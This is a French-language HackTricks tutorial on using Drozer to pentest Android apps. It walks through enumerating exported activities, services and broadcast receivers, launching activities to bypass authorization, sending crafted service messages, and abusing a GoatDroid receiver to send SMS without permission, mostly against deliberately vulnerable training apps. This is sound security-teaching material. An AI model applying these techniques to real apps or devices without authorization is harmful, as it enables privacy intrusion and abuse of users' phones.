hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial
2024-07-19 11:39:33 +00:00
..
exploiting-content-providers.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 11:39:33 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 11:39:33 +00:00

Drozer Tutorial

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Astuce bug bounty : inscrivez-vous sur Intigriti, une plateforme de bug bounty premium créée par des hackers, pour des hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui, et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

APKs à tester

Des parties de ce tutoriel ont été extraites de la documentation Drozer pdf.

Installation

Installez le client Drozer sur votre hôte. Téléchargez-le à partir des dernières versions.

pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity

Téléchargez et installez l'APK drozer à partir des dernières versions. À ce moment, c'est ceci.

adb install drozer.apk

Démarrer le Serveur

Agent fonctionne sur le port 31415, nous devons rediriger le port pour établir la communication entre le Drozer Client et l'Agent, voici la commande pour le faire :

adb forward tcp:31415 tcp:31415

Enfin, lancez l'application et appuyez sur le bouton "ON"

Et connectez-vous à celle-ci :

drozer console connect

Commandes Intéressantes

Commandes Description
Help MODULE Affiche l'aide du module sélectionné
list Affiche une liste de tous les modules drozer qui peuvent être exécutés dans la session actuelle. Cela cache les modules pour lesquels vous n'avez pas les autorisations appropriées.
shell Démarre un shell Linux interactif sur l'appareil, dans le contexte de l'Agent.
clean Supprime les fichiers temporaires stockés par drozer sur l'appareil Android.
load Charge un fichier contenant des commandes drozer et les exécute en séquence.
module Trouve et installe des modules drozer supplémentaires depuis Internet.
unset Supprime une variable nommée que drozer passe à tous les shells Linux qu'il génère.
set Stocke une valeur dans une variable qui sera passée comme variable d'environnement à tous les shells Linux générés par drozer.
shell Démarre un shell Linux interactif sur l'appareil, dans le contexte de l'Agent
run MODULE Exécute un module drozer
exploit Drozer peut créer des exploits à exécuter dans le dispositif. drozer exploit list
payload Les exploits ont besoin d'un payload. drozer payload list

Package

Trouvez le nom du package en filtrant par une partie du nom :

dz> run app.package.list -f sieve
com.mwr.example.sieve

Informations de base du package :

dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS

Lire Manifest :

run app.package.manifest jakhar.aseem.diva

Surface d'attaque du paquet :

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
  • Activités : Peut-être que vous pouvez démarrer une activité et contourner une sorte d'autorisation qui devrait vous empêcher de la lancer.
  • Fournisseurs de contenu : Peut-être que vous pouvez accéder à des données privées ou exploiter une vulnérabilité (Injection SQL ou Traversée de chemin).
  • Services :
  • est débogable : En savoir plus

Activités

La valeur “android:exported” d'un composant d'activité exporté est définie sur “true” dans le fichier AndroidManifest.xml :

<activity android:name="com.my.app.Initial" android:exported="true">
</activity>

Liste des activités exportées :

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList

Démarrer l'activité :

Peut-être pouvez-vous démarrer une activité et contourner une sorte d'autorisation qui devrait vous empêcher de la lancer.

{% code overflow="wrap" %}

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

{% endcode %}

Vous pouvez également démarrer une activité exportée depuis adb :

  • PackageName est com.example.demo
  • Exported ActivityName est com.example.test.MainActivity
adb shell am start -n com.example.demo/com.example.test.MainActivity

Content Providers

Ce post était trop long pour être ici, donc vous pouvez y accéder sur sa propre page ici.

Services

Un service exporté est déclaré dans le Manifest.xml :

{% code overflow="wrap" %}

<service android:name=".AuthService" android:exported="true" android:process=":remote"/>

{% endcode %}

À l'intérieur du code, vérifiez la fonction handleMessage qui va recevoir le message :

Liste des services

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null

Interagir avec un service

app.service.send            Send a Message to a service, and display the reply
app.service.start           Start Service
app.service.stop            Stop Service

Exemple

Regardez l'aide de drozer pour app.service.send :

Notez que vous enverrez d'abord les données à l'intérieur de "msg.what", puis "msg.arg1" et "msg.arg2", vous devez vérifier dans le code quelles informations sont utilisées et où.
En utilisant l'option --extra, vous pouvez envoyer quelque chose interprété par "msg.replyTo", et en utilisant --bundle-as-obj, vous créez un objet avec les détails fournis.

Dans l'exemple suivant :

  • what == 2354
  • arg1 == 9234
  • arg2 == 1
  • replyTo == object(string com.mwr.example.sieve.PIN 1337)
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj

Récepteurs de diffusion

Dans la section des informations de base sur Android, vous pouvez voir ce qu'est un Récepteur de diffusion.

Après avoir découvert ces Récepteurs de diffusion, vous devriez vérifier le code de ceux-ci. Faites particulièrement attention à la fonction onReceive car elle traitera les messages reçus.

Détecter tous les récepteurs de diffusion

run app.broadcast.info #Detects all

Vérifiez les récepteurs de diffusion d'une application

#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.

# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null

Interactions Broadcast

app.broadcast.info          Get information about broadcast receivers
app.broadcast.send          Send broadcast using an intent
app.broadcast.sniff         Register a broadcast receiver that can sniff particular intents

Envoyer un message

Dans cet exemple, en abusant du FourGoats apk Content Provider, vous pouvez envoyer un SMS arbitraire à n'importe quelle destination non premium sans demander la permission à l'utilisateur.

Si vous lisez le code, les paramètres "phoneNumber" et "message" doivent être envoyés au Content Provider.

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"

Est débogable

Un APK de production ne devrait jamais être débogable.
Cela signifie que vous pouvez attacher un débogueur java à l'application en cours d'exécution, l'inspecter en temps réel, définir des points d'arrêt, avancer étape par étape, rassembler des valeurs de variables et même les modifier. L'InfoSec Institute a un excellent article sur l'approfondissement lorsque votre application est débogable et l'injection de code à l'exécution.

Lorsqu'une application est débogable, elle apparaîtra dans le Manifest :

<application theme="@2131296387" debuggable="true"

Vous pouvez trouver toutes les applications débogables avec Drozer :

run app.package.debuggable

Tutoriels

Plus d'infos

Conseil sur les bug bounty : inscrivez-vous sur Intigriti, une plateforme de bug bounty premium créée par des hackers, pour des hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui, et commencez à gagner des récompenses allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}